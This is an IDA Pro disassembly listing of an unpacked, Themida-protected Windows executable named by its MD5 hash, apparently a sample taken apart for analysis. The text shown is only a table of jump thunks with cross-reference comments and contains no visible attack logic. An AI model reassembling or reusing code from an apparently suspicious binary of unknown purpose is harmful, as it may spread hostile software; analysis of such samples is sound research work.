;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : 587E6B49C8BC6FA76125549C97BAD71B
; File Name : u:\work\587e6b49c8bc6fa76125549c97bad71b_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 00110000 (1114112.)
; Section size in file : 00110000 (1114112.)
; Offset to raw data for section: 00001000
; Flags E0000040: Data Executable Readable Writable
; Alignment : default
include uni.inc ; see unicode subdir of ida for info on unicode
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
___ segment para public 'CODE' use32
assume cs:___
;org 401000h
assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
byte_401000 db 5 dup(0CCh) ; DATA XREF: Themida_:0057ABCCo
; ---------------------------------------------------------------------------
jmp loc_42F630
; ---------------------------------------------------------------------------
loc_40100A: ; DATA XREF: ___:off_43E09Co
jmp loc_412CB0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40100F proc near ; CODE XREF: sub_421AF0+29p
jmp sub_422050
sub_40100F endp
; ---------------------------------------------------------------------------
jmp loc_431250
; ---------------------------------------------------------------------------
jmp loc_420DA0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40101E proc near ; CODE XREF: ___:004118E3p
jmp sub_411910
sub_40101E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401023 proc near ; CODE XREF: ___:0040B1BDp
; ___:0040B1CAp ...
jmp sub_403C00
sub_401023 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401028 proc near ; CODE XREF: sub_41FA90+34p
jmp sub_40B000
sub_401028 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40102D proc near ; CODE XREF: sub_403FC0+4D7p
; sub_404C70+619p ...
jmp sub_40A030
sub_40102D endp
; ---------------------------------------------------------------------------
jmp sub_42A100
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401037 proc near ; CODE XREF: sub_413510+3Bp
; ___:00414B30p
jmp sub_4155E0
sub_401037 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40103C proc near ; CODE XREF: sub_42F840+6Ep
; sub_42F840+8Ap ...
jmp sub_432FE0
sub_40103C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401041 proc near ; CODE XREF: ___:0042EF22p
; sub_42F840+3Fp ...
jmp sub_432E60
sub_401041 endp
; ---------------------------------------------------------------------------
jmp loc_423940
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40104B proc near ; CODE XREF: ___:004186D8p
jmp sub_40D130
sub_40104B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401050 proc near ; CODE XREF: sub_40B000+3Ap
; sub_40B070+1Ap
jmp sub_432980
sub_401050 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401055 proc near ; CODE XREF: sub_41E660+37Bp
jmp sub_421C30
sub_401055 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40105A proc near ; CODE XREF: sub_40C0C0+8p
jmp sub_40C280
sub_40105A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40105F proc near ; CODE XREF: sub_431900+5Ap
; sub_433710+50p
jmp sub_4318C0
sub_40105F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401064 proc near ; DATA XREF: ___:off_43E07Co
jmp sub_41C610
sub_401064 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401069 proc near ; CODE XREF: ___:00416EAAp
jmp sub_41FBD0
sub_401069 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40106E proc near ; CODE XREF: sub_40BF60+32p
jmp sub_40C120
sub_40106E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401073 proc near ; CODE XREF: ___:00416EBAp
jmp sub_418290
sub_401073 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401078 proc near ; CODE XREF: sub_415830+5Ep
; sub_416280+32p
jmp sub_4161C0
sub_401078 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40107D proc near ; CODE XREF: sub_41E660+161p
; sub_4223E0+3p
jmp sub_421A50
sub_40107D endp
; ---------------------------------------------------------------------------
jmp loc_41ACE0
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_7. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40108C proc near ; CODE XREF: sub_421C30+3p
; sub_421FB0+4Fp ...
jmp sub_422170
sub_40108C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401091 proc near ; CODE XREF: sub_40C400+43p
jmp sub_40CAD0
sub_401091 endp
; ---------------------------------------------------------------------------
jmp sub_427FF0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40109B proc near ; CODE XREF: sub_407570+Ap
jmp sub_407610
sub_40109B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010A0 proc near ; CODE XREF: sub_4245F0+23p
; sub_424790+6p ...
jmp sub_424500
sub_4010A0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010A5 proc near ; CODE XREF: sub_430C00+F5p
; sub_430C00+14Fp
jmp sub_432DF0
sub_4010A5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010AA proc near ; CODE XREF: sub_4331D0+C8p
jmp sub_430990
sub_4010AA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010AF proc near ; DATA XREF: ___:0043E174o
jmp sub_429DC0
sub_4010AF endp
; ---------------------------------------------------------------------------
loc_4010B4: ; DATA XREF: ___:off_43E0A0o
jmp loc_41E2C0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010B9 proc near ; CODE XREF: sub_418330+D0p
; sub_418490+2Dp
jmp sub_418A20
sub_4010B9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010BE proc near ; CODE XREF: sub_40FF60+8D9p
; sub_40FF60+990p ...
jmp sub_411860
sub_4010BE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010C3 proc near ; CODE XREF: ___:0042F336p
; ___:0042F3A4p ...
jmp sub_430F00
sub_4010C3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010C8 proc near ; CODE XREF: sub_421D50+9p
; sub_422240+18p
jmp sub_4223C0
sub_4010C8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010CD proc near ; CODE XREF: sub_40A9F0+58p
; sub_40A9F0+82p ...
jmp sub_40ABE0
sub_4010CD endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010D2 proc near ; CODE XREF: sub_422A40+3F1p
; ___:00423AA6p ...
jmp sub_419AE0
sub_4010D2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4010D7 proc near ; CODE XREF: sub_416010+7p
jmp sub_416640
sub_4010D7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010DC proc near ; CODE XREF: sub_415520+4Fp
; sub_415E70+11p ...
jmp sub_4160C0
sub_4010DC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010E1 proc near ; CODE XREF: sub_429C30+58p
jmp sub_429AA0
sub_4010E1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010E6 proc near ; CODE XREF: sub_421870+1Fp
jmp sub_421CB0
sub_4010E6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010EB proc near ; CODE XREF: sub_421FB0+11p
; sub_421FB0+27p ...
jmp sub_4224D0
sub_4010EB endp
; ---------------------------------------------------------------------------
jmp loc_413D60
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010F5 proc near ; CODE XREF: sub_421A30+3p
; sub_421D50+4Fp ...
jmp sub_421F10
sub_4010F5 endp
; ---------------------------------------------------------------------------
jmp loc_414400
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010FF proc near ; CODE XREF: sub_426F20+3p
jmp sub_426F50
sub_4010FF endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401104 proc near ; CODE XREF: sub_415A00+11p
; sub_415A00+27p ...
jmp sub_416470
sub_401104 endp
; ---------------------------------------------------------------------------
jmp loc_433310
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40110E proc near ; CODE XREF: sub_421B60+5p
; sub_421C50+6p ...
jmp sub_422150
sub_40110E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401113 proc near ; CODE XREF: ___:00416A5Bp
; ___:00439F5Ej ...
jmp sub_417A60
sub_401113 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401118 proc near ; CODE XREF: sub_404C70+6Ap
; sub_404C70+1AFp ...
jmp sub_412970
sub_401118 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40111D proc near ; DATA XREF: ___:off_43E074o
jmp sub_4192C0
sub_40111D endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401122 proc near ; CODE XREF: sub_431A20+6p
; ___:00431A33p ...
jmp sub_42F480
sub_401122 endp
; ---------------------------------------------------------------------------
jmp loc_42E3D0
; ---------------------------------------------------------------------------
loc_40112C: ; DATA XREF: ___:off_43E15Co
jmp loc_429A30
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401131 proc near ; CODE XREF: ___:00423C9Dp
jmp sub_423760
sub_401131 endp
; ---------------------------------------------------------------------------
jmp loc_431F50
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40113B proc near ; CODE XREF: sub_415070+38p
jmp sub_415990
sub_40113B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401140 proc near ; CODE XREF: sub_41B950+F7p
; sub_41B950+10Bp ...
jmp sub_409EA0
sub_401140 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401145 proc near ; CODE XREF: sub_409910+Ap
jmp sub_409A00
sub_401145 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40114A proc near ; CODE XREF: sub_4133D0+55p
; sub_4133D0+94p ...
jmp sub_415770
sub_40114A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40114F proc near ; CODE XREF: sub_425020+183p
jmp sub_4235F0
sub_40114F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401154 proc near ; CODE XREF: ___:00414BBEp
jmp sub_415520
sub_401154 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401159 proc near ; CODE XREF: sub_427600+3p
jmp sub_427630
sub_401159 endp
; ---------------------------------------------------------------------------
loc_40115E: ; DATA XREF: ___:off_43E038o
jmp loc_4118E0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401163 proc near ; CODE XREF: sub_415DD0+11p
; sub_415DD0+27p ...
jmp sub_4165F0
sub_401163 endp
; ---------------------------------------------------------------------------
jmp loc_41D730
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40116D proc near ; CODE XREF: sub_418B10+23p
; sub_418D80+11p
jmp sub_418E60
sub_40116D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401172 proc near ; CODE XREF: sub_418A90+3p
; sub_418E90+54p ...
jmp sub_418CE0
sub_401172 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401177 proc near ; CODE XREF: sub_409600+6Ap
; sub_409600+103p
jmp sub_4098A0
sub_401177 endp
; ---------------------------------------------------------------------------
jmp loc_432840
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401181 proc near ; CODE XREF: ___:00413D7Dp
jmp sub_413B70
sub_401181 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401186 proc near ; CODE XREF: ___:0041A1E4p
jmp sub_41AFE0
sub_401186 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40118B proc near ; CODE XREF: sub_4133D0+88p
; sub_4147D0+BFp ...
jmp sub_415930
sub_40118B endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401190 proc near ; CODE XREF: sub_42F480+7p
; sub_42F4F0+19p ...
jmp sub_4338B0
sub_401190 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401195 proc near ; CODE XREF: ___:004185A9p
jmp sub_40DB10
sub_401195 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40119A proc near ; CODE XREF: ___:004310AAp
jmp sub_430A50
sub_40119A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40119F proc near ; CODE XREF: sub_4071E0+11p
; sub_407370+1Fp
jmp sub_407410
sub_40119F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011A4 proc near ; CODE XREF: sub_4036D0+3B5p
; sub_4036D0+3C5p ...
jmp sub_403E00
sub_4011A4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011A9 proc near ; CODE XREF: sub_421C10+3p
jmp sub_422190
sub_4011A9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011AE proc near ; CODE XREF: sub_40C250+Ap
jmp sub_40C310
sub_4011AE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011B3 proc near ; CODE XREF: sub_4036D0+1Dp
; sub_407030+1Fp ...
jmp sub_403C70
sub_4011B3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4011B8 proc near ; CODE XREF: ___:00413274p
; ___:0043998Cj ...
jmp sub_4153B0
sub_4011B8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011BD proc near ; CODE XREF: sub_42B350+3p
jmp sub_42B380
sub_4011BD endp
; ---------------------------------------------------------------------------
jmp loc_40AF00
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4011C7 proc near ; CODE XREF: ___:00414BCDp
jmp sub_414C70
sub_4011C7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011CC proc near ; CODE XREF: sub_407610+7p
; sub_409A00+7p ...
jmp sub_407640
sub_4011CC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011D1 proc near ; CODE XREF: sub_413510+73p
; ___:00414B6Dp ...
jmp sub_415600
sub_4011D1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011D6 proc near ; CODE XREF: sub_41E660+58p
jmp sub_420530
sub_4011D6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011DB proc near ; CODE XREF: sub_413DA0+84p
jmp sub_4137E0
sub_4011DB endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011E0 proc near ; CODE XREF: ___:00432428p
jmp sub_42FD70
sub_4011E0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011E5 proc near ; CODE XREF: sub_4074C0+8p
jmp sub_4075A0
sub_4011E5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011EA proc near ; CODE XREF: sub_404C70+9Fp
; sub_404C70+230p ...
jmp sub_40A430
sub_4011EA endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4011EF proc near ; CODE XREF: sub_40A790+21p
; sub_40A9F0+A5p
jmp sub_40A9D0
sub_4011EF endp
; ---------------------------------------------------------------------------
jmp loc_40AF70
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011F9 proc near ; CODE XREF: sub_40A430+129p
; sub_40A810+4p ...
jmp sub_40A7E0
sub_4011F9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011FE proc near ; DATA XREF: ___:off_43E0DCo
jmp sub_426650
sub_4011FE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401203 proc near ; CODE XREF: ___:004322BDp
jmp sub_42FA70
sub_401203 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401208 proc near ; CODE XREF: sub_4072F0+3p
; sub_407370+4Fp ...
jmp sub_407480
sub_401208 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40120D proc near ; CODE XREF: sub_41D830+346p
; sub_41D830+410p ...
jmp sub_421870
sub_40120D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401212 proc near ; CODE XREF: sub_421AB0+11p
; sub_421FB0+1Fp
jmp sub_4220E0
sub_401212 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401217 proc near ; CODE XREF: sub_42B4F0+3p
jmp sub_42B520
sub_401217 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40121C proc near ; CODE XREF: sub_418490+D4p
jmp sub_407790
sub_40121C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401221 proc near ; CODE XREF: sub_40C120+5Fp
jmp sub_40C2F0
sub_401221 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401226 proc near ; CODE XREF: sub_4034E0+F6p
; sub_4034E0+12Ep ...
jmp sub_409C30
sub_401226 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40122B proc near ; CODE XREF: sub_41E660+113p
; sub_41E660+124p
jmp sub_421A30
sub_40122B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401230 proc near ; DATA XREF: ___:0043E060o
jmp sub_41F860
sub_401230 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401235 proc near ; CODE XREF: ___:00416AFBp
; ___:00439ED2j ...
jmp sub_4176B0
sub_401235 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40123A proc near ; CODE XREF: sub_40AEC0+Fp
jmp sub_42FF50
sub_40123A endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40123F proc near ; CODE XREF: sub_418B10+32p
jmp sub_418D80
sub_40123F endp
; ---------------------------------------------------------------------------
jmp loc_433570
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401249 proc near ; CODE XREF: sub_415420+5p
; sub_415620+6p ...
jmp sub_416030
sub_401249 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40124E proc near ; CODE XREF: sub_40BCB0+29p
; sub_40BDD0+29p
jmp sub_40BF60
sub_40124E endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401253 proc near ; CODE XREF: sub_41E660+3E9p
; ___:0043B1ABj
jmp sub_421AF0
sub_401253 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401258 proc near ; CODE XREF: sub_4144D0+BFp
jmp sub_415210
sub_401258 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40125D proc near ; CODE XREF: sub_4164E0+Ap
jmp sub_416820
sub_40125D endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401262 proc near ; CODE XREF: ___:00416B67p
; ___:00439E73j ...
jmp sub_416FB0
sub_401262 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401267 proc near ; CODE XREF: ___:00418721p
jmp sub_418330
sub_401267 endp
; ---------------------------------------------------------------------------
jmp sub_416C30
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401271 proc near ; CODE XREF: ___:00416E1Fp
jmp sub_417FD0
sub_401271 endp
; ---------------------------------------------------------------------------
jmp loc_414690
; ---------------------------------------------------------------------------
jmp loc_42F030
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401280 proc near ; CODE XREF: sub_40FF60+387p
; sub_41EF30+21Dp ...
jmp sub_41B6E0
sub_401280 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401285 proc near ; CODE XREF: ___:00416E5Ap
jmp sub_418180
sub_401285 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40128A proc near ; CODE XREF: sub_409490+8p
jmp sub_4094E0
sub_40128A endp
; ---------------------------------------------------------------------------
jmp loc_429A30
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401294 proc near ; CODE XREF: sub_409600+A5p
; sub_412BC0+21p
jmp sub_409810
sub_401294 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401299 proc near ; CODE XREF: sub_404C70+385p
; sub_41D830+5AAp
jmp sub_41C030
sub_401299 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40129E proc near ; CODE XREF: ___:00416D6Fp
jmp sub_4036D0
sub_40129E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012A3 proc near ; CODE XREF: sub_418BC0+23p
; sub_418E90+11p
jmp sub_418FE0
sub_4012A3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012A8 proc near ; CODE XREF: sub_424840+Cp
; sub_424840+3Ep ...
jmp sub_424330
sub_4012A8 endp
; ---------------------------------------------------------------------------
jmp loc_42F670
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012B2 proc near ; CODE XREF: sub_403FC0+4BBp
; sub_404C70+860p ...
jmp sub_40A290
sub_4012B2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012B7 proc near ; CODE XREF: ___:0042EB16p
; ___:0042EB66p ...
jmp sub_431490
sub_4012B7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012BC proc near ; CODE XREF: sub_41E660+367p
; sub_41E660+3D4p ...
jmp sub_421C80
sub_4012BC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012C1 proc near ; DATA XREF: sub_426A60+107o
jmp sub_426CE0
sub_4012C1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012C6 proc near ; CODE XREF: sub_424720+18p
; sub_424760+Ap ...
jmp sub_4246D0
sub_4012C6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012CB proc near ; CODE XREF: sub_416120+9p
; sub_4161C0+18p
jmp sub_4167D0
sub_4012CB endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012D0 proc near ; DATA XREF: sub_431280+32o
jmp sub_431A80
sub_4012D0 endp
; ---------------------------------------------------------------------------
jmp loc_42EB60
; ---------------------------------------------------------------------------
jmp loc_419BB0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012DF proc near ; CODE XREF: sub_429AA0+67p
jmp sub_41FEF0
sub_4012DF endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4012E4 proc near ; CODE XREF: ___:0042EEF8p
; sub_42F0B0+2p ...
jmp sub_430270
sub_4012E4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012E9 proc near ; CODE XREF: sub_413670+3Fp
; sub_4144D0+40p ...
jmp sub_415160
sub_4012E9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012EE proc near ; CODE XREF: sub_404640+19Fp
; sub_404640+212p ...
jmp sub_409EF0
sub_4012EE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012F3 proc near ; CODE XREF: sub_424E90+B5p
; sub_424E90+F1p
jmp sub_424E20
sub_4012F3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012F8 proc near ; CODE XREF: sub_425020+127p
jmp sub_424E90
sub_4012F8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012FD proc near ; CODE XREF: ___:00416E3Ap
jmp sub_418080
sub_4012FD endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401302 proc near ; CODE XREF: ___:00416E0Fp
jmp sub_417F10
sub_401302 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401307 proc near ; CODE XREF: sub_4303D0+1p
jmp sub_430460
sub_401307 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40130C proc near ; CODE XREF: ___:00425F11p
jmp sub_426450
sub_40130C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401311 proc near ; CODE XREF: sub_418330+71p
; sub_418330+BBp ...
jmp sub_4189F0
sub_401311 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401316 proc near ; CODE XREF: sub_40A0A0+7p
jmp sub_40A0C0
sub_401316 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40131B proc near ; CODE XREF: ___:004316D8p
; sub_431730+2Bp
jmp sub_431900
sub_40131B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401320 proc near ; CODE XREF: sub_431280+1p
jmp sub_4314C0
sub_401320 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401325 proc near ; CODE XREF: sub_4207E0+37Bp
jmp sub_421BD0
sub_401325 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40132A proc near ; CODE XREF: sub_414360+5Bp
jmp sub_415030
sub_40132A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40132F proc near ; CODE XREF: sub_4153B0+29p
; sub_4154D0+29p
jmp sub_415F30
sub_40132F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401334 proc near ; CODE XREF: ___:00435F42p
; ___:00435F52p ...
jmp sub_435E00
sub_401334 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401339 proc near ; CODE XREF: sub_4133D0+5Fp
; sub_4133D0+9Ep ...
jmp sub_415960
sub_401339 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40133E proc near ; CODE XREF: sub_40B520+62p
; ___:0040B9E8p ...
jmp sub_40BE60
sub_40133E endp
; ---------------------------------------------------------------------------
jmp loc_4300C0
; ---------------------------------------------------------------------------
jmp loc_42EC40
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40134D proc near ; DATA XREF: ___:0043E1A8o
jmp sub_42B3A0
sub_40134D endp
; ---------------------------------------------------------------------------
jmp loc_42B2E0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401357 proc near ; CODE XREF: sub_416090+8p
jmp sub_4166B0
sub_401357 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40135C proc near ; CODE XREF: sub_4133D0+71p
; sub_4133D0:loc_41349Cp ...
jmp sub_415910
sub_40135C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401361 proc near ; CODE XREF: sub_418330+AFp
; sub_418FE0+3p
jmp sub_418AB0
sub_401361 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401366 proc near ; DATA XREF: ___:0043E104o
jmp sub_426A60
sub_401366 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40136B proc near ; CODE XREF: sub_40B520+39p
; sub_40B520+78p ...
jmp sub_40BE90
sub_40136B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401370 proc near ; CODE XREF: sub_4257A0+29p
; sub_4257A0+38p
jmp sub_4256B0
sub_401370 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401375 proc near ; CODE XREF: sub_41A500+1Cp
jmp sub_41A540
sub_401375 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40137A proc near ; DATA XREF: ___:0043E164o
jmp sub_429C30
sub_40137A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40137F proc near ; CODE XREF: ___:00408BE6p
; ___:00414481p
jmp sub_414230
sub_40137F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401384 proc near ; CODE XREF: sub_418490+72p
jmp sub_406C30
sub_401384 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401389 proc near ; CODE XREF: sub_409D20+7p
; sub_409E70+7p ...
jmp sub_40A700
sub_401389 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40138E proc near ; DATA XREF: ___:off_43E080o
jmp sub_422A40
sub_40138E endp
; ---------------------------------------------------------------------------
jmp loc_413AE0
; ---------------------------------------------------------------------------
jmp sub_42B350
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40139D proc near ; CODE XREF: sub_418900+11p
; sub_421CB0+1Fp
jmp sub_418C50
sub_40139D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4013A2 proc near ; CODE XREF: sub_42B2D0+3j
jmp sub_42A810
sub_4013A2 endp
; ---------------------------------------------------------------------------
jmp sub_42B4F0
; ---------------------------------------------------------------------------
jmp loc_42EBB0
; ---------------------------------------------------------------------------
jmp loc_414A60
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4013B6 proc near ; CODE XREF: sub_407290+1Fp
jmp sub_407370
sub_4013B6 endp
; ---------------------------------------------------------------------------
jmp loc_42E7B0
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4013C0 proc near ; CODE XREF: sub_40FD70+3p
; ___:00416AEBp ...
jmp sub_40FDA0
sub_4013C0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4013C5 proc near ; CODE XREF: sub_425270+Cp
; sub_4253E0+Ap ...
jmp sub_425230
